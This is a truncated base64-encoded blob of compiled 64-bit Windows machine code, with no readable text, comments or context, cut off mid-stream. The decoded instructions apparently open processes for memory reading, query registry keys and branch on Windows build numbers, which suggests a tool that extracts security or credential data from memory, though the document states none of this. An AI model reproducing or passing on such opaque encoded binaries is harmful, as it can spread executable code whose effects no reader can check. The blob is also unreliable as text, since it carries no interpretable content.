jQUVpggASIvXi87oy0f2/4XAdAe7KQAAAOsiRTPJTIlkJCBMjQUJpggASIvXi87op0f2/4XAdC+7MAAAAEiNTbDooc71/4XAD4XSAAAA/xVnNwMAi9BIjQ3GpggA6Gnb9f/puQAAAEUzyUyJZCQgTI0FFeQGAEiL14vO6FtH9v+FwHQKuxoAAADpkgAAAEUzyUyJZCQgTI0FtqUIAEiL14vO6DRH9v+FwHQHuxcAAADrIkUzyUyJZCQgTI0FsqUIAEiL14vO6BBH9v+FwHQOuxgAAADHRfABAAAA60NFhfZ0Bkw5ZdB0HUUzyUyJZCQgTI0FBEgFAEiL14vO6NpG9v+FwHQbuxYAAABMOWXQdBBIjQ18pQgA6K/a9f9MiWXQRYX2dBlFhf90FEQ5Zdh1DoXbdQpMOWXQD4RmAQAASItF0EyNBRq4BACLVdhIjQ2QpggASIXATA9FwOhs2vX/hdsPhNsAAABIi0WwSIXAdAZIi3hA6wNJi/xMjU1ARIllQEUzwEiL14vL/xVULQMA/xUmNgMAg/hXdAWD+Hp1O4tVQLlAAAAA/xUmNgMASIlFyEiFwHQkTI1NQEyLwEiL14vL/xUbLQMASItNyIXAdSD/FcU1AwBIiUXI/xXbNQMASI0NHKcIAIvQ6N3Z9f/rXkUzyUyJZCQgTI1FwEiNVbjoOlT2/4XAdCpMi0W4SI0NJ6YIAEiLVcDortn1/0iLTbj/FXQ1AwBIi03A/xVqNQMA6xv/FYI1AwBIjQ0TpggA66VIjQ3CxgMA6H3Z9f9IjQ22xgMA6HHZ9f9FhfZ0F0WF/3QSRDll2HUMTDllyHUGTDll0HQfSI1VyEiNDYYFAADoyVX2/0iLTchIhcl0Bv8VBjUDAEiLTbBIhcl0Bv8VXy0DAEyNnCSAAAAAM8BJi1swSYtzOEmL40FfQV5BXF9dw8xIg+woM9Izyf8VUi0DAIXAdAsz0jPJ6DX7///rFP8V1TQDAIvQSI0N1KYIAOjX2PX/M8BIg8Qow4XSD4RmAQAASIlcJAhIiWwkEEiJdCQYV0iD7GBJi/gPtumL8kSLRwhBi8AlAAAAIPfYQYvAG9slAAAAwIPjMoPDIPfYiVwkQEGLwEUb2yQQQYPjLEGDwyD22ESJXCQ4QYvARRvSJAhBg+I1QYPCIPbYRIlUJDBBi8Ab0iQEg+Ivg8Ig9tiJVCQoQYvAi9UbySQCg+Elg8Eg9tiJTCQgSI0Nk6YIAEUbyUGA4AFBg+EkQYPBIEH22EUbwEGD4C1Bg8Ag6AnY9f9Iiw9MjUQkUEiDZCQgAEiNlCSIAAAARTPJ6F9S9v+FwHROSItcJFBIi8v/FTkzAwCFwHQPSIvTSI0NY6YIAOjG1/X/SIuUJIgAAABIjQ3vrgYA6LLX9f9Ii4wkiAAAAP8VdDMDAEiLy/8VazMDAOsUSIsP6J1C9v9IjQ3KxAMA6IXX9f9Ig8cQSIPuAQ+Fy/7//0yNXCRgSYtbEEmLaxhJi3MgSYvjX8PMSIlcJAhVV0FWSI1sJLlIgeyQAAAAQbk4AAAASI1Fd4vaSIlEJCBMjUUHSIv5QY1R0v8VGSsDAIXAD4RJAwAARItFD0iNDSamCACLVRPoDtf1/0G5BAAAAEiNRXdMjUV/SIlEJCBIi89BjVEI/xXeKgMAhcB0EYtVf0iNDRDhBgDo29b1/+sMSI0N+qUIAOjN1vX/QbkEAAAASI1Fd0yNRedIiUQkIEiLz0GNUQ7/FZ0qAwCFwHQ1i0Xnuj8AAACD+AONSg0PRNGD+AK5RgAAAA9E0YP4AblEAAAAD0TRSI0Nq6UIAOh21vX/6wxIjQ2VpQgA6GjW9f+LVQdIjQ2WpQgA6FnW9f9MjU3/SIvPTI1F90iNVe/o4U72/4XAdDZMi03/SI0NfqUIAEyLRe9Ii1X36CnW9f9Ii03v/xXvMQMASItN9/8V5TEDAEiLTf//FdsxAwBMY00fTI01WBj1/0SLRTNIjQ1VpQgAi1UvT4uMzrhyDwDo5dX1/4N9HwJ1GEhjVSNIjQ3sRAUASYuU1hh0DwDox9X1/0iNDQDDAwDou9X1/4XbD4TbAQAARTPJSI1Fd0UzwEiJRCQgSIvPRY1xDUGL1v8VhCkDAIXAD4W0AQAA/xV2MQMAg/h6D4WlAQAAi1V3jUjG/xV5MQMASIvYSIXAD4SNAQAARItNd0iNRXdMi8NIiUQkIEGL1kiLz/8VOSkDAIXAD4RgAQAATItDCLFHixNJg8AQ/8roXvz//0yLQxixUotTEOhQ/P//g2V/AIN7IAAPhjEBAAAzwEiNDEBIi0Moi1SICIvKi8LB+R+D4SEkBIPBIPbYiUwkIIvCSI0NbqQIAEUbySQCQYPhMkGDwSD22EUbwIDiAUGD4CVBg8Ag9tob0oPiJIPCIOi61PX/i0V/TI1Nd4NldwBFM8BIjQxASItDKEiNFIgzyf8VqCkDAIXAdWD/FX4wAwCD+Hp1VYtVd41Ixv/CSAPS/xWAMAMASIv4SIXAdH6LTX9MjU13TIvASI0USUiLSyhIjRSRM8n/FWIpAwCFwHQPSIvXSI0NfKsGAOg/1PX/SIvP/xUGMAMA60L/FR4wAwA9IQUAAHUhi0V/SI0MQEiLQyhEiwSIi1SIBEiNDb2jCADoCNT1/+sU/xXwLwMAi9BIjQ2/owgA6PLT9f+LRX//wIlFfztDIA+C0f7//0iLy/8VqC8DAEiLnCSwAAAASIHEkAAAAEFeX13DQFVTVldBVEFWQVdIi+xIgeyAAAAAvgEAAABJi/iJdUhEi+JMi/H/FXAsAwBEO+APhJ8BAABIjUVQSYvORI1ON0iJRCQgTI1FwI1WCf8VYicDADPbhcAPhHgBAABIOV8IdD5FM8lMjUW4SI1VsEmLzujrS/b/hcB0fkiLVwhIi02w6CqSAQBIi02wi9OFwA+UwolVSP8V+i4DAEiLTbjrQ4tPEIXJdA07TcCLww+UwIlFSOtDSDkfdD5Ji86JXUg5Xyh0J+iLUvb/TIv4SIXAdCZIixdIiwj/Ff8nAwCJRUhJi8//FasuAwDrDEiLF0yNRUjoQUz2/zldSA+E1wAAAEGL1EiNDQqjCADotdL1/zPSSYvO6Ev7//85XxR0FTl12LkCAAAARItN3I1BAUQPRMjrDjlfGA+EmAAAAIvORIvLi0cY99hIjUVYG9JIiUQkKIHigwEAAIlMJCCDwgxFM8BJi87/FWImAwCFwHRmOV8UdD1Ii1VYM8n/FZ0mAwCFwHQXSI0NkqIIAOg10vX/M9Izyeh09P//6y3/FRQuAwCL0EiNDaOiCADoFtL1/+saOV8YdBVIi1VYSItPIOimpf//hcAPlMOJXUhIi01Y/xXQLQMAi3VIi8ZIgcSAAAAAQV9BXkFcX15bXcPMSIPsOEyNDZ2ICAC6BgAAAEyNBQGlCABIjQ1SRQoA6IHV9f8zwEiDxDjDzMxIiVwkCFVWV0FUQVZIjawkUPv//0iB7LAFAABIg2QkOABIi9qL+f8VWCoDAIvISI1UJED/FXspAwAz9kyNTCQ4SCF0JCBMjQWIdwUASIvTi89Ei/DoYz32/0iLXCQ4hcB0N0iL00iNDWClCABFM/boONH1/0iLy/8VDzIDAEiL8EiFwHUq/xURLQMAi9BIjQ1gpQgA6BPR9f9Ihdt0EUiNDU+oCADoAtH1/+k6AwAATI2F+AQAAEiLzkiNVCQw/xXAMQMAhMAPhPsCAACLhfgEAAAz/4XAD4TSAgAATI0lCb4DAEiLTCQwi8dIa9hMSGNUC0iD+gpzDUyNFUWHBABNixTS6wdMjRV8tQQARYX2dBREiwQLRDlEJEB1CUiNBbE/BQDrC0SLBAtIjQUUrgQATI1JBIlUJChMA8tMiVQkIEiL0EiNDSqlCADoXdD1/0iNhfAEAABBuAgAAABIiUQkKEyNTfBIi0QkMEiLzsdEJCDABAAAixQD/xXmMAMAhMAPhDgBAABMjYVUBAAASI2VeAQAAEiNDSmlCADoDND1/0iDfUAAdDFIjQ0+pQgA6PnP9f9IjVQkOEiNTUD/FYIrAwCFwHQKSI1MJDjoFDr2/0mLzOjUz/X/SIN9SAB0MUiNDR6lCADowc/1/0iNVCRISI1NSP8VSisDAIXAdApIjUwkSOjcOfb/SYvM6JzP9f9Ig31YAHQxSI0N/qQIAOiJz/X/SI1UJFBIjU1Y/xUSKwMAhcB0CkiNTCRQ6KQ59v9Ji8zoZM/1/0iDfVAAdDFIjQ3epAgA6FHP9f9IjVQkWEiNTVD/FdoqAwCFwHQKSI1MJFjobDn2/0mLzOgsz/X/SIO9qAQAAAB0NEiNDbukCADoFs/1/0iNVCRgSI2NqAQAAP8VnCoDAIXAdApIjUwkYOguOfb/SYvM6O7O9f9IjYXwBAAAQbgcAAAASIlEJChMjUwkREiLRCQwSIvOx0QkIAQAAACLFAP/FXYvAwCEwHQjg3wkRABIjQWGVgUASI0Vh1YFAEgPRdBIjQ1UpAgA6JfO9f9IjYXwBAAAQbgdAAAASIlEJChMjUwkaEiLRCQwSIvOx0QkICAAAACLFAP/FR8vAwCEwHRRZoN8JGgCdR1IjVWQSI1MJHD/FeQxAwBIhcB0NUiNDRikCADrI2aDfCRoF3UkSI1VkEiNTCR0/xXHMQMASIXAdBBIjQ0TpAgASI1VkOgSzvX/i4X4BAAA/8c7+A+COf3//4XAdQxIjQ0PpAgA6PLN9f9Ii0wkMP8Vry4DAOsU/xXPKQMAi9BIjQ2epAgA6NHN9f9IhfZ0CUiLzv8Vgy4DAEiLnCTgBQAAM8BIgcSwBQAAQV5BXF9eXcPMzEiLxEiJWAhIiWgQSIlwIFdIg+wwSINg6ABMjUgYTI0FANcGAEiL8ovp6Io59v+FwA+E9gAAAEiLTCRQRTPAM9Loo6sBAEiDZCQgAEyNTCRQTI0FiXMFAEiL1ovNi/joVTn2/4XAdBNIi0wkUEUzwDPS6HKrAQCL2OsDg8v/SI0FvKoEAEiL1kyNTCRQSIlEJCBMjQVwVAYAi83oGTn2/4vXSI0NqKQIAOj7zPX/g/v/dQ5IjQ3XpAgA6OrM9f/rDovTSI0N56QIAOjazPX/SI0N46QIAOjOzPX/TItMJFBEi8OL18ZEJCAAM8n/FYctAwCEwHQLi9dIjQ3KpAgA6yX/FZIoAwA9LgUAAHUJSI0N3KQIAOsd/xV8KAMAi9BIjQ2LpQgA6H7M9f/rDEiNDe2lCADocMz1/0iLXCRAM8BIi2wkSEiLdCRYSIPEMF/DzEiD7FhIjVQkIEiNDYifCADo4yv2/4XAdH2DfCQkBHJoRItEJDwz0rk6BAAA/xX2JgMASIXAdEJMjUQkcEiL0LkBAAAA6AfB9f+FwHRdSI0N3KUIAOj/y/X/TItEJHBIjRVPAAAASYvI6Lvb9f9Ii0wkcOi1wfX/6zH/FcknAwBIjQ0KpggA6xtIjQ1xpggA6MTL9f/rFP8VrCcDAEiNDd2mCACL0Oiuy/X/M8BIg8RYw8zMzEiJXCQISIl0JBBIiXwkGFVBVEFVQVZBV0iL7EiD7FBIjQXWlQoASIlV6EUz7UiJRfiBeSgAAAIASIvZSIsBSIlF4EyJbfAPhbIDAACBeSAAAAEAD4SlAwAAg3kkBA+FmwMAAEiLURhBjU1A/xU7JwMASIlF8EiFwA+EgAMAAEyLQxhIjVXgSI1N8OhlwfX/hcAPhF0DAABMi2MYSItd8EwD40iNQwhJO8QPh0UDAABIg8MEQb4AAgAAiwVhXgQASI17/DsHdQ0PtwVWXgQAZjtHBHQXiwVmYgQAOwd1Gw+3BV9iBABmO0cEdQ6LAyUAAAH/PQAAAQDrJYsF8WEEADsHD4XxAAAAD7cF5mEEAGY7RwQPheAAAAD3AwAA//9Bi80PlMGFyQ+EzAAAAEQ5awoPha0CAAD2QwQBD4WjAgAAZkQ5cwQPg5gCAAD2QwYBD4WOAgAAD7dDBrn8AQAAZoPoA2Y7wQ+HeAIAAPZDCAEPhW4CAABmRDlzCA+DYwIAAEQPt0sGSI2DDgIAAA+3UwRMjUMOSdHpSI0NzqUIAEjR6kiJRCQg6PnJ9f9mRDlrCHQngT0EnQoASCYAAHIbSItN6EyNgw4EAABFi87oh3L1/4XAD4QKAgAAD7dTCEyNgw4EAABI0epIjQ3epQgA6LHJ9f/p6wEAAEiLBTWABABIOwcPhdsBAABIi0McSIXAD4TOAQAAqAEPhcYBAABIPQAQAAAPg7oBAABMjXsUZkU5Lw+ErAEAAEH2BwEPhaIBAABmRTk3D4OYAQAAD7dDFmZBOQd0EUiNSP5BD7cHSDvBD4V9AQAASItDLEiFwA+EcAEAAKgBD4VoAQAASD0AEAAAD4NcAQAASI1zJGZEOS4PhE4BAAD2BgEPhUUBAABmRDk2D4M7AQAAD7dDJmY5BnQQSI1I/g+3Bkg7wQ+FIgEAAEiNDTSlCADo18j1/0grffBIA33gTItDDE2FwHR8QfbAAXV2SYH4ABAAAHNtTI1zBGZFOS50XUH2BgF1V7gAAgAAZkE5Bg+DwAAAAA+3QwZmQTkGdA1IjUj+QQ+3Bkg7wXUxSY0EOEmLzkiJQwxIi1Xo6Oni9f+FwHQZSYvWSI0N76QIAOhayPX/SItLDP8VICQDAEG+AAIAAEgBexxJi89Ii1Xo6Lbi9f+FwHQZSYvXSI0N7KQIAOgnyPX/SItLHP8V7SMDAEgBeyxIi85Ii1Xo6Ini9f+FwHRIRA+3DkyLQyxIi03o6Kxw9f+FwHQhSItLLP8VSiMDAEiLUyxIjQ3PpAgA6NrH9f/rDUSL8OuJSIvO6LvpAABIi0ss/xWRIwMASIPDCEiNSwRJO8wPhsX8//9Ii03w/xV2IwMATI1cJFC4AQAAAEmLWzBJi3M4SYt7QEmL40FfQV5BXUFcXcPMzMxIg+xISINkJCAATI0Fj6QIAEUzyeh3M/b/SI0NOKEIAIlEJDjoV8f1/0iNVCQwSI0NDwAAAOiSz/X/M8BIg8RIw8zMzEiJXCQQSIlsJBhIiXQkIFdIg+xQi2lQSIvaSIvxRIvFM9K5OgQAAP8V3yEDAEiL+EiFwA+EigAAAEiNVCRgSIvI/xX1HgMAhcB0b4N8JGAAdWhMi8NIi9e5AQAAAOjSu/X/hcB0VEiLC0yNRCQwSI0V96MIAOgm1vX/hcB0NA8QRCQwTI1GOIvVTI1MJCBIjQ3vowgA8w9/RCQg6JzG9f9IiwtIjRU2AAAATIvD6FrW9f9IiwvoVrz1/0iLz/8VWSIDAEiLXCRouAEAAABIi2wkcEiLdCR4SIPEUF/DzMzMTIvcSYlbCEmJcxBXSIPscEmDY9gASI0FmJAKAIF5KAAAAgBIi/JJiUPgSIvZSIsBSYlD6EiLAkmJQ/APhR0BAACBeSAAAAEAD4QQAQAAg3kkBA+FBgEAAEiLURi5QAAAAP8V/SEDAEiJRCRQSIXAD4TpAAAATItDGEiNVCRgSI1MJFDoJLz1/0iLTCRQhcAPhMMAAABIi3sYSI1BCEgD+Ug7xw+HrwAAAEiNWRhIuM2rytsDAAAASDlD6A+FggAAAItL+I1B9j3pAQAAd3VEi0MQQY1A9j3pAQAAd2ZIi1MISIXSdF1Ei04IRYXJdEpIiwNEi0voRIlEJEhMi0PgSIlUJEBIi1PYSIlEJDhIi0PwiUwkMEiNDciiCABIiUQkKItD7IlEJCDoL8X1/0SLTghEi0MQSItTCEiLTCRo6DUAAABI/8NIjUPwSDvHD4Za////SItMJFD/Fc4gAwBMjVwkcLgBAAAASYtbEEmLcxhJi+Nfw8zMzEiJXCQIRIlMJCBVVldBVEFVQVZBV0iL7EiD7GBIg2XwAEiNBRSPCgBIg2XgADP2RYvoSIlV0EiJTdiNTkBIiUX4So0c7QAAAABIiUXoSQPdiXVQSMHjA0iL0/8VjCADAEiJRfBIhcAPhBIDAABMi8NIjVXQSI1N8Oi3uvX/hcAPhO0CAABMi3XwRTP/RYXtD4ThAgAARTPkSY1eEEiLS/BIhckPhMkCAACLQ/j/yIP4Eg+HuwIAAEiJTdBIjU3Q6OTb9f9Ii/hIhcAPhKICAACDfVgAD4XOAAAASIvQSI0N8KEIAOgDiwEAhcAPhLcAAABIi9dIjQ3poQgA6OyKAQCFwA+EoAAAAEiL10iNDeKhCADo1YoBAIXAD4SJAAAASIvXSI0N66EIAOi+igEAhcB0dkiL10iNDfChCADoq4oBAIXAdGNIi9dIjQ3poQgA6JiKAQCFwHRQSIvXSI0N4qEIAOiFigEAhcB0PUiL10iNDd+hCADocooBAIXAdCpIi9dIjQ3koQgA6F+KAQCFwHQXSIvXSI0N4aEIAOhMigEAhcAPha0BAACF9nUTSI0NcbADAOgsw/X/x0VQAQAAAEiL10iNDdOhCADoFsP1/4tT+IvCg+gBD4RYAQAAg+gBD4RAAQAAg+gBD4QUAQAAg+gBD4TNAAAAg/gCdBRMiwNIjQ0mowgA6NnC9f/pNgEAAEiNDV2iCADoyML1/0iDOwAPhCABAACDeygAD4QWAQAAi1MouUAAAAD/Fa4eAwBIiUXgSIXAD4T7AAAASIsDSI1V0EiJRdBIjU3gRItDKOjRuPX/hcB0V/dDFAAIAABDi1Q0OHQ9TItF4ESLykiLTdjoE2v1/4XAdBtIi0XgSI0N+KEIAIsQTI1ABEjR6uhCwvX/6xpIjQ3xoQgA6DTC9f/rDEiLTeBFM8Doniv2/0iLTeDrNkiNDYGhCADoFML1/0iLA0iNTdBIiUXQ6Kzd9f9Ii/BIhcB0XkiL0EiNDXKhCADo7cH1/0iLzv8VtB0DAOtEgzsASI0FAKEIAEiNFQmhCABID0XQSI0NDqEIAOjBwfX/6yEPtxNIjQ2toAgARIvC6w1EiwNIjQ1uoAgAQYvQ6J7B9f9IjQ3XrgMA6JLB9f+LdVBIi8//FVYdAwBB/8dJg8RISIPDSEU7/Q+CKv3//0yLdfBJi87/FTUdAwBIi5wkoAAAAEiDxGBBX0FeQV1BXF9eXcPMQFNIg+wgSI0N56EIAP8VuRwDADPbSIkFmIwKAEiFwA+EKgEAAEiNFeChCABIi8j/FY8cAwBIiw14jAoASI0V4aEIAEiJBWKMCgD/FXQcAwBIiw1djAoASI0V3qEIAEiJBWeMCgD/FVkcAwBIiw1CjAoASI0V06EIAEiJBUSMCgD/FT4cAwBIiw0njAoASI0V0KEIAEiJBSGMCgD/FSMcAwBIiw0MjAoASI0VzaEIAEiJBe6LCgD/FQgcAwBIiw3xiwoASI0VwqEIAEiJBQuMCgD/Fe0bAwBIiw3WiwoASI0Vt6EIAEiJBeiLCgD/FdIbAwBIOR2ziwoASIkFnIsKAEiJBd2LCgB0QEg5HbyLCgB0N0g5HauLCgB0Lkg5HZqLCgB0JUg5HXmLCgB0HEg5HaiLCgB0E0g5HZeLCgB0CkiFwHQFuwEAAACJHSmLCgAzwEiDxCBbw8xIg+woSIsNUYsKAEiFyXQG/xVGGwMAM8BIg8Qow8zMzEiJXCQIVVZXQVRBVUFWQVdIi+xIgeyAAAAAM/ZMjQUJRAcARTPJSIl0JCDotCv2/zk1yooKAEhj2A+EuQQAAEyNRdgzyUiNVVj/FQWLCgCFwA+FkwQAAESL5kyL6zl1WA+GHwQAAEyNNaesAwBIjQ24oQgA6Fu/9f9Ii03YQYvcSMHjBEgDy+ggKvb/SYvO6EC/9f9Ii03YTI1FwEgDyzPS/xWligoAhcAPiMkDAABIi03A6LgJAABIi03ATI1N0EyNRVC6AAIAAP8VXYoKAIXAD4iXAwAAi1VQSI0NY6EIAOjuvvX/RIv+OXVQD4ZyAwAAgT30kQoAQB8AAEGL10GLxw+DcQEAAEiNDMBIi0XQSI0cyEyLQxBIjQ1FoQgA6LC+9f9IjQ1RoQgA6KS+9f9Ii8vodCn2/0mLzuiUvvX/SI0NZaEIAOiIvvX/SI1LMEiFyXQXSI1V6P8VDRoDAIXAdAlIjU3o6KAo9v9Ji87oYL71/4tTOEiNDV6hCADoUb71/0iNDYqhCADoRb71/0iLSxjokAkAAEmLzug0vvX/SI0NnaEIAOgovvX/SItLIOhzCQAASYvO6Be+9f9IjQ2woQgA6Au+9f9Ii0so6FYJAABJi87o+r31/02F7XQzi/45czx2LIvXSI0NtaEIAOjgvfX/i89IweEFSANLQOglCQAASYvO6Mm99f//xzt7PHLUSItNwEiNReBIiUQkMEiL00iJdeBMi0sgTItDGIl0JChIiXQkIP8V54gKAEiNDZChCACL2OiJvfX/hdt1D0iLTeBIi0ko6MwIAADrDovTSI0NpaEIAOhovfX/SYvO6GC99f/p3gEAAEiNHIBIweMESI0N3J8IAEgDXdBMi0MQ6D+99f9IjQ3gnwgA6DO99f9Ii8voAyj2/0mLzugjvfX/SI0N9J8IAOgXvfX/SI1LOEiFyXQXSI1V8P8VnBgDAIXAdAlIjU3w6C8n9v9Ji87o77z1/4tTQEiNDe2fCADo4Lz1/0iNDRmgCADo1Lz1/0iLSxjoHwgAAEmLzujDvPX/SI0NLKAIAOi3vPX/SItLIOgCCAAASYvO6Ka89f9IjQ0/oAgA6Jq89f9Ii0so6OUHAABJi87oibz1/0iNDRqhCADofbz1/0iLSzDoyAcAAEmLzuhsvPX/TYXtdDOL/jlzRHYsi9dIjQ0noAgA6FK89f+Lz0jB4QVIA0tI6JcHAABJi87oO7z1///HO3tEctRIi03ASI1FyEiJRCQ4SIvTSIl1yEiLQzBMi0sgTItDGIl0JDBIiXQkKEiJRCQg/xWYhwoASI0N+Z8IAESL8Ojxu/X/RYX2dQ9Ii03ISItJKOgzBwAA6w9Bi9ZIjQ2boAgA6M679f9IjQ0HqQMA6MK79f+LzkiNFYFzBABIiwOL8UjB5gVIA/KL+Ug7BnUKSItDCEg7Rgh0Wf/Bg/kHctxMjTXOqAMASItNyDP2SIXJdAb/FQWHCgBB/8dEO31QD4KO/P//SItN0P8V7oYKAEiNTcD/FeyGCgBB/8REO2VYD4Lo+///SItN2P8VzYYKAOtnSMHnBUiNDWCgCABIi1QXEOguu/X/SI0F73IEAEiLRAcYSIXAdB9FhfZ1CUyLRchNhcB1A0UzwEG5AQAAAEiL00iLzv/QTI01N6gDAEmLzujvuvX/6Vz///+L0EiNDSmgCADo3Lr1/0iLnCTAAAAAM8BIgcSAAAAAQV9BXkFdQVxfXl3DzMzMSIlcJAhIiXQkIFVXQVZIi+xIg+xgSItCIDPbSYvwSIv6TIvxSIXAD4TZAQAAg3gICA+FzwEAAEiNDT6gCADoebr1/0iLTyBIi0kY6Hgl9v9Ii08gTI1F2EghXCQgSI1V0EUzyUiLSRjowzT2/4XAdChMi0XQSI0NMKAIAEiLVdjoN7r1/0iLTdD/Ff0VAwBIi03Y/xXzFQMASI0NXKcDAOgXuvX/QYE+K6G4tA+FVAEAAEiNRehBuQgAAABFM8BIiUQkIEiNFfmfCABIx8ECAACA/xUkDQMAhcAPhRgBAABIi08gSI1V4EiLSRj/FToNAwCFwA+E3gAAAEiLVeBIjUUwSItN6EG5AQAAAEUzwEiJRCQg/xXiDAMAhcAPhZwAAABIi00wSI1FKEiJRCQoSI0VNqAIAEghXCQgRTPJRTPA/xWlDAMAhcB1WYtVKI1IQP8VbRUDAEiL2EiFwHRTSItNMEiNRShIiUQkKEiNFfmfCABFM8lIiVwkIEUzwP8VaAwDAIXAdCqL0EiNDfOfCADoJrn1/0iLy/8V7RQDAEiL2OsOi9BIjQ2noAgA6Aq59f9Ii00w/xVgDAMA6w6L0EiNDV2hCADo8Lj1/0iLTeD/FbYUAwDrFP8VzhQDAIvQSI0NDaIIAOjQuPX/SItN6P8VJgwDAOsOi9BIjQ3DoggA6La49f9IhfZ0bUiLTihIhcl0ZIN5CAh1Xg+3QRBmiUXyZolF8EiLQRhIjQ1zowgASIlF+OiCuPX/SI1N8Oi9Hvb/hcB0EkiNVfBIjQ2qjQUA6GW49f/rEw+3VfBBuAEAAABIi0346Mgh9v9IjQ2JpQMA6ES49f9Ii0dISIXAD4SNAQAAg39EAA+GgwEAAEGBPvUz4LIPhGABAABBgT4robi0dHhBgT6Rcsj+dBFIjQ1/pQgA6AK49f/pUwEAAIN4CAgPhUkBAABIi1gYSI0NIKUIAIs7SAP76N639f+LUwiD+gF2FYtDBEiNDTSlCAD/ykyNBEfowbf1/4tTBIP6AXYR/8pIjQ3QqQYATIvH6Ki39f9IjQ3hpAMA65iDeAgID4XrAAAASItwGEiF23QYSIvTSI0N0qIIAOh9t/X/SIvL/xVEEwMASI0N9aIIAOhot/X/M/9IjV4Mi9dIjQ0xowgA6FS39f+LU/SLyoXSdFuD6QF0RoP5AXQOSI0NaqQIAOg1t/X/61aDewQASI0NUKMIAEiNBWGjCABID0XBSI0NfqMIAEiJRCQgi1P4RItD/ESLC+gCt/X/6yOLQwRIjQ2+owgAiUQkIOvfRItD/EiNDdWiCACLU/jo3bb1/0iNDRakAwDo0bb1///HSIPDFIP/Aw+CYP///+sWg3gIAnUQD7dQEEiNDcehCADoqrb1/0yNXCRgSYtbIEmLczhJi+NBXl9dw8xIiVwkCFdIg+wwSItCIEmL2EiL+kiFwHR7g3gICHV1SI0NLpwIAOhptvX/SItPIEiLSRjoaCH2/0iLTyBMjUQkUEiDZCQgAEiNVCRIRTPJSItJGOiwMPb/hcB0LEyLRCRISI0NHJwIAEiLVCRQ6CK29f9Ii0wkSP8V5xEDAEiLTCRQ/xXcEQMASI0NRaMDAOgAtvX/SIXbD4SIAAAASItDKEiFwHR/g3gICHV5SItYGEiF23RwSI0NYKMIAOjTtfX/i1MESI1LFEUzwOg8H/b/SI0NdaMIAOi4tfX/i0MESI1LFItTCEgDyEUzwOgbH/b/SI0NhKMIAOiXtfX/i0sIRItDBEgDy4tTDEmDwBRJA8hFM8Do8x72/0iNDbSiAwDob7X1/0iLXCRASIPEMF/DSIlcJAhVSIvsSIPsQA9XwEyNReAzwDPSDxFF4MdF4AEAAABIi9lIiUXw/xWkgAoAhcB4GkiLVehIjQ09owgA6CC19f9Ii03o/xWegAoAM8BMjUXggT0iiAoAQB8AAA9XwEiJRfBIi8sbwDPSg+AEg8AEDxFF4IlF4P8VVYAKAIXAeChIi0XoSI0VFqMIAEiFwEiNDSSjCABID0XQ6MO09f9Ii03o/xVBgAoASItcJFBIg8RAXcPMzEiFyQ+EHgEAAEiJXCQIV0iD7CCLUQhIjVkQRIvCSIv5QYPoAg+E5AAAAEGD6AIPhM8AAABBg+gDD4S0AAAAQYPoAQ+EiwAAAEGD6AN0NUGD+AF0FkiNDemjCADoTLT1/7oEAAAASIvL63tIjQ0jowgA6Da09f9IiwvoOh/2/+maAAAASI0NGqMIAOgdtPX/SIsDSI0NK6MIAItQCESLwugItPX/SIsTSI0NTqMIAEiLEuj2s/X/SI0NZ6MIAOjqs/X/SIsLi1EQSItJGOh3Gvb/60pIjQ2ioggA6M2z9f+LE0iLTxhBuAEAAADoNB32/+srSIsTSI0NaKIIAOirs/X/6xqLE0iNDUCiCADrCg+3E0iNDRSiCADoj7P1/0iLXCQwSIPEIF/DSIlcJAhVVldBVEFVQVZBV0iNbCTZSIHs8AAAAEiDZYcASI0FtH0KADP/SIlFrzk9IIMKAEyL4kSL6Yl9f0iJRZ8PhX8BAABIIXwkIEyNBWliBwBFM8noOR/2/4XAD4RjAQAAixU3hgoASI0F/CgKADPbM8k5EHcUSIvYSIPBUEiDwFBIgfnQAgAAcuhIhdsPhGADAABIi0MQSI1V90iJRadIjQ28ZgcASItDIEiJRZfobxL2/4XAD4TwAAAARItFEzPSuTgEAAD/FYYNAwBIhcAPhMcAAABMjUV/SIvQuQEAAADolKf1/4XAD4QFAwAASItNf0yNRbdIjRWlYAcA6OTB9f+FwHR0i0XHTI1Nl4tLGEiNVacPEEW3RItDCEyJZCRASIlF50iNBdL+//9EiWwkOEiJRCQwi0MoiUQkKEiJTCQgSI1N1/MPf0XXxwX9gQoAAQAAAOgotPX/hcB1FP8VDg4DAIvQSI0NzaEIAOgQsvX/IT3agQoA6xT/FfINAwCL0EiNDSGiCADo9LH1/0iLTX/ov6f1/+lXAgAA/xXQDQMASI0NwaIIAOsN/xXBDQMASI0NEqMIAIvQ6MOx9f/pLwIAAEyNTYeL10yNRXczyf8V1AYDAIXAD4T+AQAARTP2RDl1dw+G5wEAAEiNPejz9P9Ii0WHTI0d/YsGAEiNHfaLBgBMjT3viwYASosU8EiNBeSLBgBIg3oQAESLSjBMD0VaEEiDekgASA9FWkhIg3pAAEwPRXpASIN6CABID0VCCEiJRY9Bg/kEcwpOi4TPMLEOAOsHTI0FAZYEAESLUgRBg/oHG8BBI8KLyIsCSItVj4lEJEhIi4TPULEOAEiNDdWiCABMiUQkQE2Lx0SJTCQ4TIvLSIlEJDBEiVQkKEyJXCQg6Nmw9f9IjQ2SowgA6M2w9f9Ii0WHSosM8ItRIEiLSSjoVRf2/0iLRYdKiwzwi1E0SI0Nh6MIAOiisPX/SINkJCAATI0F7TQHAEUzyUmL1EGLzeiXHPb/SItNh4XAD4SmAAAASosE8UUz/0Q5eDQPhpUAAABBi9dIjQ1oowgA6Fuw9f9Ii0WHS40cf0qLDPBIi0E4SI0NdKMIAItU2AhEi8LoOLD1/0iLRYdKiwzwSItROEiNDYWjCABIixTa6Byw9f9IjQ2VowgA6BCw9f9Ii0WHSosM8EiLSTiLVNkMSItM2RDokhb2/0iNDS+dAwDo6q/1/0iLTYdB/8dKiwTxRDt4NA+Ca////0qLDPHoXAAAAEiNDQWdAwDowK/1/0H/xkQ7dXcPgiP+//+LfX9Ii02H/xXGBAMA/8eJfX+D/wF3DYM9rYIKAAUPh9H9//9Ii5wkMAEAADPASIHE8AAAAEFfQV5BXUFcX15dw8zMSIlcJAhVSIvsSIPscEiL2UiNFSFyBgBIi0kI6LQeAQBIhcAPhIYAAACLUyCD+hQPgu0BAABIi0soSItBBEg7BYSxAwAPhdgBAABIi0EMSDsFe7EDAA+FxwEAAEiNBUaiAwCJVeBIiUX4TI1F8EiNRdBIiU3oSIlEJDBIjU3gg2QkKABFM8lIg2QkIAAz0sdF8EoAAAD/FZ0EAwCFwA+EawEAAEiNDe5xBgDpNgEAAEiLSwhIjRUGcgYA6BUeAQBIhcAPhFoBAABIjQ3ZoggA6Jyu9f+DeyAUD4JEAQAASItbKEiNDVdyBgBIi9Pod/QCAIXAD4UpAQAAOUMMD4SIAAAASI0NV3EGAOhirvX/i0MMSI1N4IlF4